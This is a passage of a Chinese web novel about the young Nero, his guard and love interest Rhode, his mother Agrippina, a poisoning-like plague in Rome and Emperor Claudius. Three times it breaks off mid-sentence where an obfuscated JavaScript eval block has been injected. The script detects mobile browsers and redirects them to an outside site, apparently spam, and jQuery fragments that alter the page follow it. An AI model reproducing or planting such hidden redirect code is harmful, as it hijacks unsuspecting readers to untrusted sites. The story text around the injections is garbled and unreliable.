此时一些关于罗德的旖旎画面在眼前掠过,大胆而色情,那绝对是湿漉漉的、光色|诱人的场景。尼禄屏息一瞬,眼眸里流动过粘稠的光泽。
“我一个人去。”他哑着嗓子说,“不要叫醒我的亲卫。”
……
阿格里皮娜披上白裙袍,用洁白的海螺壳舀水,浇在摆满蜡烛的神龛前。
藏蓝的天色如水底般阴暗。她乳白色的身影固执地站立,好象一颗柔韧而难缠的水草。
她拿起火棒,点燃一根根蜡烛。苍黄的烛火象嫩苗一样生长在暗色里。
这是纪念亡夫的简单仪式。阿格里皮娜每天清晨都要这么做。
这时有奴隶快步走来,恭顺地跪在她的脚边,“主人,多米提乌斯大人来了。”
阿格里皮娜怔了怔,淡漠的脸孔裂出一丝迷茫。卷曲的银发被风吹到脸前,裙摆吹得飞起,她素净的脸呆愣着,头纱象迷雾般捂住她的视野。
她摘掉头纱,摇晃着转过身,僵硬的眼神猛地一凛,定格在门口。
她的儿子就在那里,赭红的长袍翻飞。他的背后便是初日喷薄的红光,极远处的地平线象一道熔化的黄金,钢箍一般地紧捆大地。
阿格里皮娜下意识地一笑。笑声轻得象一缕突闯的气流。
尼禄扯紧衣袍,踩着一双长靴走来。他冷淡地抬眼,前额的碎发被尽数吹起,露出年轻而立体的五官。
“你笑什么?”他平静地问。
阿格里皮娜站正身体,那双素来不顾一切的、与儿子相似的棕色眼眸里,此刻泛起一点母性的柔光。
她从嘴角勾出一个细小的微笑,渐渐漫溯到淡雅的眉眼,最终舒展在略显欣慰的全脸。守寡多年的阿格里皮娜,终于泄露出一个可称为幸福的笑容。
“以前总是我去你家,这是你第一次主动来看我。”她难得柔和地说,“你这只小羊羔总是以冷漠的方式伤害你的母亲……”
尼禄的脸色明暗交错,瘦削的体质使他的颧骨之下有着恰到好处的淡影。
“我不会再伤害你了,现在和以后都是。”他别有深意地说,目光有所游离。
阿格里皮娜没有温柔多久,很快恢复一贯的强凌。
她戴上朦胧的白头纱,一向阴狠的双眼在后头瞥视,象伺机而动的鹰隼。母亲的身份,是她最大的倚仗。
“你当上了行政官。”阿格里皮娜声音冷峻,“你的指尖已经摸到罗马心脏上的命脉。”
尼禄脊背笔直,眉锋如铁打般的深硬。
“我会让罗马的心脏稳定地跳动。”他细薄的双唇深沉地动几下,“就象奥古斯都那样……”
阿格里皮娜微微眯起眼睛,翘起嘴角。这使她仿佛在讥笑,其实她只是有些顾虑罢了。
“这绝非易事!你接了尤利乌斯留下的烂摊子。”她神情严峻地说,“你要应付洪水和传染病,还有几个没钱建下去的工程。不仅如此……”
尼禄耐心地倾听,没有象以往那样打断她。
阿格里皮娜继续道:“你头顶奥古斯都后人的头衔,一路仕途又很顺利。民众们厌烦衰老又残疾的克劳狄乌斯,对展现出潜力的你就抱有过高的期望。你处于登向皇位的关键!”
尼禄的容色逐渐紧迫。
阿格里皮娜告诫道:“要知道,现在一丝头发的罪责,都可能压垮你之前的所有努力!”
尼禄并不嫌恶母亲的絮叨。他的面目隐现一些坚沉。
金红的晨光于极远处逼射而来,半边天幕象是被泼了血,万斛晦暗如退潮般退去。空气清爽而干净。
尼禄的脸庞被晨色染红,眉目间有一层强加的暖意。他凛着脸僵立许久,眼神有飞飘向别处的恍然。这一瞬间尼禄遁入晨红,有着如被烈火锻造般的坚韧。
他抿死的嘴唇缓缓开合:“我还想问一个问题……”
阿格里皮娜斜过眼睛,“问吧。”
尼禄严谨地开口:“当年……我的舅父卡里古拉为什么会被他的亲卫刺死?”
“局外人怎么知道。”阿格里皮娜神情冷淡,“那个亲卫是被他强征到身边的,据说当时还有个年龄尚幼的儿子。被迫骨肉分离的他也许对我的哥哥一直都心存不满……”
尼禄怔愣一下,浓重的暗色瞬间袭上他的眉睫。他有所警惕,眸中翻滚过滔天的郁色,宛如喷发之中的火山灰。他的红身影,象缭绕的火星一样迸入宛如岩浆的天色之下。
“……那他的儿子呢?”他低着头说,沉重的声音从阴影处传来。
阿格里皮娜有所意识地瞥他一眼,继续道:“他杀死皇帝,犯下就连冥界也无法容纳的罪责。他那继承血脉的儿子,本该随他一起被钉死在十字架上……”
她顿了顿,“但他进宫后从不与他的儿子见面,法院也找不到任何关于那个孩子的线索……”
尼禄心脏一紧,“所以就这么不了了之了吗?”
阿格里皮娜点点头:“当时全罗马都陷入震惊和动荡之中,他的儿子走运地免掉一死,却背负着被人唾骂和恐惧的血脉,也许正在什么阴暗的角落里苟活……”
她停顿一下,脸孔显现一丝阴戾,苛刻的薄唇轻动,不留余地地说:“……毕竟他的姓氏,是罗马历史的污渍。”
尼禄的嘴唇泛白,呼吸逐渐沉重起来。他沉默良久,面色凝重而严肃。身材纤瘦的他,生出一种如铁水冶炼般的坚毅气质。
“你怎么突然问这种陈年旧事?”阿格里皮娜问。
“没什么。”尼禄快速而冷静地说,“只是一时好奇罢了。”
阿格里皮娜盯着他,若有所思的神情,远处明亮的晨光使她苍白而洁净的脸有了一点血色。
她丢掉快要燃尽的火棒,用凉鞋踩灭火苗,阴冷着脸提醒道:“记着去你的新庄园看看,那里的奴隶还不认识你这个新主人。”
尼禄压下满腹思绪,平静地说:“我正有这个打算。”
……
尼禄回到家宅时,一袭黑衣的罗德正坐在天井的石岸上,指骨分明的手里持着一只裹着皮革的弯弓,在清光下泛着晃眼的强光。他的脚边散落着打磨得光亮的箭头,七零八落的。
在满目青绿的榕树荫蔽下,浅淡的金光从树缝间象沙粒一样漏下来,有微小的细尘凝固其中,给尼禄一种如纱罩眼般的朦胧。
有几个年轻的女奴殷勤地围着罗德。她们很明显地精心打扮过,烫成波浪卷的、亚麻色头发上插着亮丽的珍珠发饰,在美好的光色之中象浮沉的星点。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239650|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她们向罗德展开手掌,柔嫩的少女的双手毕露,象洁白的羊脂膏一样柔润。
罗德扶起她们的手,冰一样澈明的视线在她们白嫩的手上移动着。
尼禄只觉得刺眼,心有如刀捅入般的疼痛。
他重重地咳两声,迈着坚沉的脚步挪过来,荫蔽与晨光交错洒在他沉钝的身影上,象一段波浪一般从肩上流过去。他的红色身影,象一丛烧过来的火焰,有一些威慑的力量。
女奴们知趣地退下了。
罗德捡起一只箭头,微仰起秀美的五官,长长的鬓发搭落在他的双肩。箭头反射的白光,恰好照在他形状美好的红唇。
他望向站到面前的尼禄,锋利的唇角卷翘出一个刚中带柔的微笑。
“我在等您。”他说。
尼禄瞥向躲到四周的女奴,心头间有着不断下坠的压抑感。他手脚发凉,心生一股强烈的恐慌,嫉妒于一刹那就盘绞在他的脑际。
“她们在做什么?”他神情复杂地问。
罗德晃了晃手里的箭头,“她们很好心地帮我打磨箭头,不小心划伤了手,还流了血。”
尼禄僵直地站着,血色从他的眉眼间淡去,渐渐退出整个面庞,他的脸色如被水洗过般的苍白。旁人对罗德的一点点亲近,都能使他产生宛如灭顶的惊恐。
毕竟他是天生感性的忧郁之人,对于承受失去没有一点天资。
罗德瞧他一眼,清爽的笑容有所收敛,“您的脸色很不好看。”
尼禄撇过脸,留给罗德一个惨白的侧颜。他的脖颈线条柔韧,此时筋骨盘绕,因用力而微微隆起,形成一片轻薄的浅影。他的嘴角在抽动。
罗德丢掉箭头,原本轻松的脸上出现凝色。尼禄暗红的身影深深嵌进他谷底般的黑瞳,象拔地而起的篝火。
“我要去一趟新庄园……”尼禄强咽酸涩,气息有些不稳,“你可不可以陪我……”
“别这么卑微了!我说过您有权对我下任何命令……”罗德打断道。
他站到尼禄身侧,很强势地闯进他躲闪的视野。两人挨得很近,罗德乌黑的长发甚至飘到尼禄的肩上。他虚挽着他的手臂,有一些禁锢的意味。
罗德明艳的双唇贴近他的耳廓,仿佛恶作剧似的,以低沉的声音说道:“难道您忘了吗?我的主人……”
他的低音好象灵活的小蛇,出其不意地游动,一下子就钻到尼禄的心脏。
尼禄被他吐出的气息所引诱,耳垂象浸了血似的鲜红。他立刻就有了反应,而他非常清楚这是什么反应。
他一动不动地站立,身体僵硬得宛如硬邦邦的空壳,心跳剧烈得仿佛在空壳里横冲直撞。
罗德的唇角有着若有若无的微笑。
尼禄捂住通红的脸,有些无措。他的腿脚轻微打晃,紧捂的手掌里传出闷闷的声音:“噢……千万别这么叫我,罗德。我真的受不了这个叫法……”
罗德忍俊不禁,隐蔽于黑发间的红唇一扬,就是一个略带恶意的微笑。他坏笑着凑得近些,象上瘾一样去欺负手足无措的尼禄。
“主人……”他钳住尼禄的肩膀,让他动弹不得,“主人主人主人主人……”
他接近他的耳朵,反复念叨这个令尼禄发疯的称呼。有几次他温暖的唇瓣甚至贴到尼禄红得发烫的耳廓,带来极其热辣的触感。
尼禄抑制着欲望,下腹有难以忍受的酸胀。他呼吸紊乱,脊背发抖得十分厉害,好象待宰一样。这个害羞的男孩颤颤巍巍地蹲下|身,用双手死死捂着脸,前额一绺绺银发间透出鲜红的脸色。
他蹲在地上,银亮的卷发闷乎乎地耷拉着,压抑而沙哑的嗓音黏着地传来:“我觉得我快死了……罗德……求你了……别这样喊我……”
罗德莞尔,温柔地摸摸他毛绒绒的脑袋。
34. 吃醋的尼禄
尼禄的新庄园矗立于临河的高山之顶。
这里是一片开阔的平地,铺着四季常青的草坪。青草高得能没过脚踝,其中种植着蓝紫的矢车菊和火红的罂粟花,好象甩出的、点点滴滴的彩色颜料。
山势很高,尼禄和罗德走了很久才来到山顶。
一根根廊柱排列在殿门两侧,拱形的殿门十分古典。庄园由沙黄色的石块堆砌而成,有三层楼,圆形拱顶象一朵鼓胀的流云,宛如一颗从神界掉进凡世的遗珠。
两人踩着一地青草走近,路过几座大理石雕塑。这些神像的眼珠被精心雕琢,能够根据光线的角度投出阴影,从而显出黑色的眼球。
他们站在通往殿门的石板路上。
赤日色的城堡跃进眼帘,夹在明净的蓝天和绿草之间,象一滩焊接天地的金属。
罗德将乱飞的鬓发扯到耳后,声音中掺杂着风声:“这城堡比您现在住的家宅还豪华!”
奴隶们殷勤地迎过来,亲吻尼禄的脚背。山风很冷,裹挟着苦涩的青草味。风声呼呼作响。
尼禄凝望这一派景致,亮黄的城堡倒映于他蜜蜡般的双目,加深了原本的眸色。
他脸色沉暗地说:“我却并不喜欢这里。”
罗德斜他一眼,“为什么?”
“因为它太孤独了。”尼禄皱着眉说。
罗德盯着他忧郁的眉眼,不动声色。
两人将矢车菊和罂粟踩在脚下,穿过青草来到险峻的山顶边。
山侧削直得宛如断崖,给人一种脚底发凉的晕眩感。山下便是密密麻麻的商铺和房舍,沿河岸排列。河岸上的月桂树很葱郁,树荫鼓胀着,将原本宽阔的河道挤成溪流一样细。
妇女头顶陶罐走动,商贩把货扛在肩上搬运。人群小得象蚂蚁一样在忙碌,一派繁荣。
“这是牧神节那天我们走过的地方。”尼禄往下一指,“沿岸的所有房屋,都被冠上了我的姓氏,包括这座山。”
罗德的黑发被吹得乱翘。盛日之下的他依旧五官明锐,过于狂烈的美艳不减分毫。
尼禄凝视他明晰的侧颜,面容深重地说:“我今天主动拜访了我的母亲。”
罗德来了精神,“您与她和解了?”
“还没有。”尼禄说,“她为达目的不择手段,谁知道她哪天又会做出什么令人咋舌的举动。”
罗德轻笑一声。他抬脚踩上一块矮石,灰铁色的凉靴象剑一样立在拂动的长草之中。
尼禄眼睫微垂,浓密的羽睫之下发出晦暗的目光,“我向她问了关于你父亲的一些事。”
罗德的脸色有一瞬间变得苍白。他英挺的剑眉象霜冻一样绷起,按剑的手指却在轻微颤抖。
尼禄谨慎地开口:“当年你的父亲并不是自愿成为近卫的。”
罗德的眼波如针芒般微动。他全身收紧,一语不发。
尼禄沉默良久,“你的姓氏目前还充斥着民众的责骂。我真想让它重见天日……”他认真地说。
“别做这种蠢事!”罗德表示拒绝,“您最好别去沾染这个污名。就让它作为笑料活在人们的嘴边,最终被带到棺材里去……”
尼禄不置可否。他掐掉一颗红罂粟,放鼻尖下嗅了嗅。
他的鼻头小巧而挺翘,上面还有淡色的雀斑,这使他总有一种尚未成年的青涩气质。
罗德侧过身,夺走他拿着的罂粟花,将细软的花茎插进尼禄卷曲的发绺间。
他审视一会,随即就把花撤掉,“不好看。”他摇着头说。
尼禄有些脸红。他含胸站着,眼神往四下乱飘,一副胆怂的模样。
罗德面露玩味。他将罂粟花移近一些,以很小的幅度嗅闻一下。
山风吹拂过来,略带罂粟花的清香。于是在尼禄的感官里,罗德就与这种隐含毒性的香味有了潜在的、莫可名状的联系。
罗德长着浓重的黑发黑瞳,肤色却十分莹白。在这清简的颜色下,鬓边的红罂粟和他朱红的双唇就格外显眼,有艳丽而妖冶的气质。
尼禄呆愣地望着他,宛如神游。搭落在额头的刘海尽被吹起,显现出一些利落,使他腼腆的气质有所减弱。
其实尼禄看罗德的脸比任何人都要多。但每次一看,满怀爱意的他所感受到的,都是两人初次见面时的惊鸿一瞥。
尼禄恍神。他拿过罗德手里的罂粟花,轻柔地插在他发丝乱飞的鬓角。
“你真好看,罗德……”他喃喃道。
罗德愣一下,余光扫到紧贴脸颊的花瓣。他望向发愣的尼禄,没有表现出抵触。
尼禄忽然有如惊醒一般,一个讶异的表情宛如脱壳般,在他呆愣的脸上跳出。
“哦对不起……”尼禄卑微地说。他讪讪地收回手,很难为情,潮湿的眼睛隐蔽在过长的睫毛下。
情意于此刻顿生,好象恋人接吻之前首先的鼻息交融,有一丝薄弱的暧昧。
罗德没说什么。他取下鬓边的罂粟,手指搓转花茎,花瓣如舞女的裙摆一样旋转。
“罂粟和矢车菊有止血和治愈伤口的作用。”他看着尼禄说,眼神别有深意,“或许可以给那些手受伤的女奴们试试这个……”
尼禄心悸,仿佛被一只枯手捏住心脏,开始惶恐不安。他以天生悲观的双眼预判一个失去爱人的结局。
“你倒是对她们念念不忘。”他低声咕哝一句,声音压抑着,透出一些病恹恹的气质。
罗德笑笑,随手摘掉一捧或红或紫的花草。他漆黑的身影在摇动的青草间俯拾,有点支翘的黑发指向蓝天,尼禄看得心生酸涩。
……
尼禄象征性地在庄园里住了几天。
奴隶送来行政官需要处理的文件。他开始为罗马的日常运行而焦头烂额。
是夜,月光从窗口透进来,形成一道白净的光柱。干硬的蜡油堆高如圆锥,奴隶摇着羽扇,困倦得睁不开眼。
此时已至深夜。
尼禄用温水洗脸,捧起烟雾袅袅的熏炉,低头闻了闻佛手柑的香气。
他通宵工作,一天一夜没有休息,疲累得头疼欲裂。
新官上任的尼禄,面临着棘手的问题。
罗马城中出现一种类似中毒的怪病。
很多病人呕吐又腹泻,舌苔呈现诡异的蓝绿色,甚至连呕吐物也是蓝色的。他们的眼白有令人恐慌的黄疸。一些病情严重的人甚至还会昏厥和尿血。
已经有不少病人因此而丧命。受到惊吓的罗马人认为这是恶魔的诅咒,一时人心惶惶。
尼禄派遣一批经验丰富的医生去检查病情。但医生们对此束手无策。
罗德持着水果刀,利索地剥一只柠檬。这种酸苦的水果十分珍贵,只有罗马的富人才能吃得起。
尼禄放下刻笔,慢吞吞地叠起文字密集的羊皮纸。过度劳累使他动作迟钝。
“尝尝这个。”罗德将切片的柠檬端过去,“据说这种能把舌头酸坏的水果会让身体变得健康。”
尼禄趴在桌子上,脊骨软绵绵地弯曲,老旧的烛光在他细软的银发上跃动。
“我累得连胳膊都抬不起来……罗德。”他懵懵地说,嗓音是长久劳累而成的低哑,“这场怪病几乎让罗马不得安宁。我明天还要在日出之前就赶到神庙,去参加疾病之神的祭祀仪式。”
罗德勾翘起来的唇角有一些玩味。
他把双手搭上尼禄的胳膊,隔着衣料慢慢移动,一直摸到他单薄的肩膀。
尼禄的肌肉随他的抚摸一寸寸变得僵硬,象慢慢结成的冰。邪念象杂草一样长在他脑子里,尼禄立刻就乱了呼吸,某个部位充血而疼痛。羞红在他的耳朵扎根,渐渐染红他苍白的脖颈。
“哦……别摸我……”尼禄把脸埋进胳膊,沉闷地说,“求你了!罗德。你为什么总是要这样……”
罗德没有退回。他揉了揉尼禄的肩,贴上他颤抖的后背,柔亮的黑发倾泻到尼禄脸侧。
他微微侧脸,嘴唇距尼禄通红的耳廓不过毫厘,暖热的气息象丝缕一样缠进耳孔。
“舒服吗……”罗德声音低沉,靠近耳边自然就显得很性感。
尼禄心脏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239651|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难以抗拒地猛跳,几乎是捶打着胸骨。他甚至觉得这过于激烈的心跳会使自己猝死。
他扒着桌角挣脱出来。慌乱之中,他的手掌不小心碰到了尖利的水果刀。
掌心骤然传来强烈的钝痛,宛如钉入长刺。
疼痛使尼禄稍微清醒。他的视线接触到血红的手掌,恍惚地定格在汩汩流出的鲜血上。
罗德一瞬间就收起开玩笑的神色。他紧绷着脸,有些担忧地说:“你没事吧?”
尼禄怔神地紧盯手掌。繁密的刘海将他幽深的眼睛遮去大半,体质纤瘦而苍白的他,即使健康也显得病恹恹的。他有着别扭的、病态的本质,这种本质或多或少地支配他的意志。
一丝快慰蹿上他的嘴角。尼禄慢慢弯起眉眼,浮现一个十分荒诞的微笑。
“这下你也该对我念念不忘了吧……”他虚弱地说,唇色很是苍白。
罗德的脸上闪过一道惊异,身体收紧得象一块铁。
他镇定地与尼禄相视一会,支走站在一旁不知所措的奴隶,沉默着替尼禄包扎伤口。
尼禄脸色惨白。他无力地挽着罗德的胳膊,额发被冷汗黏在眼皮上,看起来很压抑。
“今晚你能不能不走……”他幽幽地说,语气里有不可抑勒的沉郁。
于是两人在今晚第二次同床共眠。
尼禄被划破掌心,居然有了精神。他愣愣地靠坐在床上,出神地盯着身旁的罗德。
罗德乱翘的长发散落枕间。他已经有很重的困意,眨眼的速度越来越慢,面色愈发沉静。
他斜斜地瞄尼禄一眼,“还不睡?”
“我睡不着。”尼禄说,“我连一点困倦都没有。”
罗德胳膊一撑坐起来,宽松的睡衣敞开到胸膛,裸露出钢锯般的锁骨。
他在床头的木柜里翻找一会,随意地抽出一张边角卷翘的羊皮纸。
羊皮纸已经泛黄褶皱,纸上以金属墨水刻写着密集的字母。尼禄投之以好奇的眼光。
罗德同尼禄一起靠坐着,抖落羊皮纸的清灰。
暖黄的烛光照映两人洁白的睡衣,他们在被窝里相互依偎。
“故事是治疗疾病和失眠的良药。”罗德这么说着,压制住打呵欠的欲望。
他用手掌抚平褶皱,扫一眼上面的文字,懊恼地叹道:“该死的,居然是希腊文!”
“那就让我来读。”尼禄拿过羊皮纸,以极快的速度浏览着内容。
罗德半闭着眼,困意象蒸汽一样浮上来,聚集在他的头脑中,形成越来越重的云层。他觉得脑袋沉重。
尼禄将快燃尽的蜡烛挪近一些,照亮纸上的文字,读道:
『米诺斯是一处小国的王子,他一出生就被野心勃勃的父母寄予厚望。在他呱呱坠地那天,全国上下举行三天三夜的谢神祭,来庆祝他的出生。他有着高贵的血统、洪亮的嗓音和可爱的卷发,以及一双仿佛由黄金锻造的、明亮的金眼睛。米诺斯集中了父母和全国人的宠爱,没有人不羡慕他。』
罗德的呼吸越来越沉,强打起最后一点精神倾听。
『为了获知米诺斯的命运,国王与王后前往太阳神庙问卜。然而,他们得到的神谕却是:“你们的儿子将来会因自己的眼睛而死。”』
尼禄的脸庞浮现有思索的神色。他继续念道:
『这对高贵的夫妇行事偏执,总是以古怪的方式去表达关爱。忧心忡忡的他们沉思很久,最终狠心挖去了米诺斯的眼睛,并丢到烈火里焚烧殆尽。』
尼禄停顿在这里,似乎在思考些什么。
此时蜡烛忽亮一下,随即燃尽,眼前的一切如坠深渊一般浸泡在黑暗中。
罗德滑进被窝,侧躺着背对尼禄,沙哑的声音里满是困意:“不念了……睡吧……”
尼禄摸黑着放好羊皮纸,安静地钻进焐得温热的被子。他面朝罗德躺下,在夜色里盯着他散乱的黑发。
罗德的呼吸很快就沉稳下来。
黑暗之中,尼禄偷偷挑起他的几缕黑发,吻了吻,才一脸微笑地躺好睡觉……
35. 阿格里皮娜的筹谋
怪病的流行使罗马人惊惶。他们在神庙举行祭祀仪式,以此换取疾病之神的庇佑。
尼禄命令奴隶用刷子清洁廊柱,将新鲜的朱砂涂在壁画里女神的唇瓣上。奴隶们架起火盆,往地上洒草木灰和羊油,扫净一切污渍。
赤红的火光跃动于大理石穹顶,宛如跳跃的红苋草。
一辆马车辘辘而来,停在神庙的门口。奴隶殷勤地涌过去,从车里搬出一尊尊铜制的雕像。
奴隶人手不够。罗德戴上手套,走过去帮他们搬运。
这些表面光滑的铜像有着罂粟壳一样的棕褐色,大多是疾病之神的半身像,焊接在方形的底座上。
铜像看起来很重,实则重量却比较轻。一个奴隶可以抱起四座铜像,将它们摆在雕花的石柱上。
罗德端起一座铜像,冷峻的目光打量一圈,象被钳制一样定住。
底座上刻印着“奥托”的家族姓氏。
尼禄一路踩着羊绒地毯走来。他在罗德身边站定,随手抱起一只铜像,放在怀里掂量掂量。
他思索着说:“这些铜像都不是实心的,否则不会轻到这个地步。”
罗德以指甲刮一下底座上的家族姓氏,神色越发凝重,“安东尼倒是很有本事。以他污迹斑斑的平民身份,居然能包揽神庙的铜像生意……”
“这不是他一个人的本事。”尼禄放回铜像,“他的兄长位高权重,年轻时又担任过神庙的大祭司。安东尼揽到这种生意并不奇怪。”
奴隶排成排抱着铜像走过,相挨甚近,象一串玻璃珠一样流过去。
罗德往边侧移了移。他盯着铜像,眼里有一些危险,“这真是一个极好的宣传!来神庙祭拜的民众都会感激这个姓氏。在政变里遭到打击的奥托会象灰烬里的火星一样重燃。”
尼禄沉默片刻,眼中有着阴涔涔的、酷似鳞片的冷光。
“这对我很不利。”他阴沉地说,“奥托家族在政局中站在我的反对方。”
罗德将铜像递给奴隶,低声问道:“那谁是您的支持方?”
“法院里那帮白发苍苍的法官们。”尼禄答道,“年老的他们见证过帝国开启的荣光,是奥古斯都坚定的拥护者,自然就对我这个后人心怀期望。”
奴隶用毛榉树灰清扫祭坛,在经久不息的圣火里添加一些油料。
这时,主持祭祀的圣女们从门口走向祭坛,一个最年长的圣女带领着她们。
这些圣女穿着飘逸的白裙子,面带遮半张脸的白面纱,腰间系着一条紫色腰带。
她们手里端着用松子烹制的咸糕、怀孕的母牛的肉,以及赛马的鲜血。这是用以献祭的祭品。
只有经过严格选拔的女孩才能成为圣女。罗马的圣女出身贵族,外貌秀美,梳着六股层层叠起的辫子。这种漂亮的发型,普通妇女在结婚时才有机会梳。
她们以守护圣火为职责,奉行终生不婚的原则,在社会中享有别人无法企及的特权,就连最高行政长官也要为她们让路。
奴隶列到两侧下跪。他们都垂着头,低微的身份使他们不敢以低贱的眼睛去视圣女。
最年长的圣女穿着镶金线的鞋子,凛着脸孔走近。
她戴着半透明的白面纱,一双清冷的眼睛没什么神色,眼周旁已长出密密的细纹。
尼禄挪过身子,向她俯身行礼。
圣女微微颔首,冰霜般的眼眸移动,无意间瞥到尼禄身后的罗德。她淡雅的眉眼裂出一丝微弱的迟疑……
祭祀仪式耗时很长。圣女将赛马血泼洒在祭坛里,焚烧香料,在火光和香气中吟唱祈祷文。
仪式结束时已至傍晚。
尼禄和罗德选择走回家宅。
狭隘的街道里,有坑洼不平的石板路,石板缝间堆积着黄尘。商铺和房舍混在一起,小贩摆出的商品占据大半个街道,一些提着油腻的水桶,将脏水倒进公共下水道。低矮的公寓里乱哄哄的,里面挤着一排排地铺。
“这里是罗马的贫民区。”尼禄抓起袍摆,防止衣服被泥灰弄脏。他掩着鼻子说:“很多得了怪病的人都住在这里。”
一个明显营养不良的妇女从公寓走出,嘴边冒着白沫,捂着胸口一阵咳嗽。
她看起来很孱弱,眼睑水肿,眼白是怪异的蓝绿色。没走几步,她跌跌撞撞地趴在下水道口,冲里面不停呕吐,就象一条拼命扭动的、正在蜕皮的蛇。
罗德看着她连续抽搐的后背,沉重地说:“这个病似乎更加偏爱穷人。他们没钱治病,只能在呕吐和尿血中渡过最后一段时日。”
尼禄的神情愈发紧迫。略长的刘海埋住他的眼帘,使他眉目不清。
“这是我上任以来所面临的第一件事,关系到我的名誉。”他低沉地说,“我必须要解决这个病,哪怕这需要昼夜不息的工作……”
他抬起手,将遮挡视线的额发掀到后面,苍白的前额毕现,十分饱满。尼禄的骨形很立体,眉骨高昂,年轻的他其实有一种潜在的令人屈服的气质。
再放下手时,尼禄不小心打到罗德按着剑柄的手。皮肉相碰,产生的撞击感象小锤一样锤进心窝。
“很抱歉……”因爱而生忧怖的尼禄连忙道歉。
罗德忽然握住他意图回避的手。尼禄愣住,这种主动的亲密让他心痒。
他红着脸想抽回,但罗德握得很紧,以至于他没有成功。
“我陪你。”他凑到尼禄耳边,以轻柔的口吻说道。
尼禄如久旱逢甘霖一般心感温暖。
……
麦瑟琳娜死后,克劳狄乌斯一直独睡空床。他年事已高,对夫妻之事早就失去了兴趣。然而胆怯又身体残弱的他,对于独身生活不由地恐惧和寂寥。
奴隶摆好沙发,点亮餐桌上的一根根蜡烛。奴隶将鹌鹑肉切片,淋上胡椒汁和蜂蜜。厨师能把面包烤成玫瑰花的形状,一旁摆着鱼酱和迷迭香汁,可以蘸着吃。麦片粥与藏红花和海胆黄一并熬成,这是今晚的主食。
满满一桌丰盛的晚餐,实际上只有皇帝一个人吃饭。
克劳狄乌斯佝偻着侧躺,独自一人占据三人位的沙发。他慢慢地咀嚼着肉片,味同嚼蜡。
这是一顿孤独的晚餐。屋大维娅整天与贵族少女们玩乐,很少花时间陪伴她的父亲。
克劳狄乌斯舀起一勺麦片粥,机械地咽下去。偌大餐厅回荡着碗勺碰击的声音。
奴隶端着鳝鱼的奶汁和烤红鹤舌走来,布置在餐桌上,替皇帝铺好胸前的餐巾。
他忙活完,刚想退下去,就被克劳狄乌斯叫住了。
“你就站在我眼前,随便弄一点动静出来,让我听见!”克劳狄乌斯命令道,圆圆的小眼睛透着强烈的幽怨,“至少让我感受到这该死的餐厅不那么空荡荡的!神明啊……这里简直冷得象冥河的河底!”
他烦躁地拍一下桌子,连同身体都震荡一下。黄金的桂冠从他灰白的发间滑落,掉在地上发出干巴巴的声响。
奴隶惊恐地站定,僵硬地下跪,害怕得直发抖。
克劳狄乌斯无奈。温凉的麦片从他的咽喉慢慢滚下去,象爬虫一样一点点移到胸口,再悄然地啃咬他的心脏。酸涩从他粗短的脖子涌上来,几乎要从眼睛里喷出来。
“我快要疯了……”他自说自话,神情十分哀怨,“我整天为罗马费尽心血,却连一个陪我吃饭的人都找不到。我到了半只脚踏进棺材的年龄,已经预见自己将要在冰冷的被窝里孤独死去的结局!”
他的喉结不停颤抖,松弛的眉眼隐隐发红。
这时,一个女奴战战兢兢地走来,为他端来一盘凤尾鱼。
银色的小鱼整齐堆码在盘子里,盘边摆着淡紫色的唇萼薄荷。鱼皮被烤制得缩起,裸露出金蜜色的鱼肉,泼淋其上的热油还在滋滋作响,有一股香葱的诱人清香。
克劳狄乌斯凑过去闻了闻,发红的鼻翼鼓动两下,皱着眉头说:“这是最低级的鱼肉。告诉厨师,皇宫里绝不能出现连奴隶都能吃的食材……”
端菜的女奴垂着头,支支吾吾的,看向皇帝的眼神十分胆寒。
“是我让厨师做的。”一个幽幽的女声突兀地响起,象一颗生长在空气里的杂草。
阿格里皮娜穿着暗红的裙袍,素净的五官半隐于头纱之下,只露出没有血色的嘴唇,神色晦暗不明。
在空荡荡的餐厅里,她象一只凭空出现
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239652|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的鬼魂,将她天性胆小的叔父吓了一跳。
“哦……是阿格里皮娜……”克劳狄乌斯吓得脸色惨白。他擦了擦额角的冷汗,对她勉强地微笑。
“你怎么来了?我亲爱的侄女……”
阿格里皮娜平静地笑笑:“我只是想来探望您,我可怜的叔父。听说您这段时间一直都不太好,瘦了很多。”
她摆出一个遗憾的表情,“瞧瞧,您的颧骨都凸出来了。事务缠身的您一定很累吧……”
“向来如此。”克劳狄乌斯拍拍身旁的空位,邀请她躺上来。
他面露欣慰,以来自于长辈的、宽厚的语气说道:“过来吃点东西,阿格里皮娜。这还是我这段时间里第一次不是一个人吃饭……”
阿格里皮娜神色隐晦。她走到沙发旁,病怏怏的脸隐在红头纱之后。
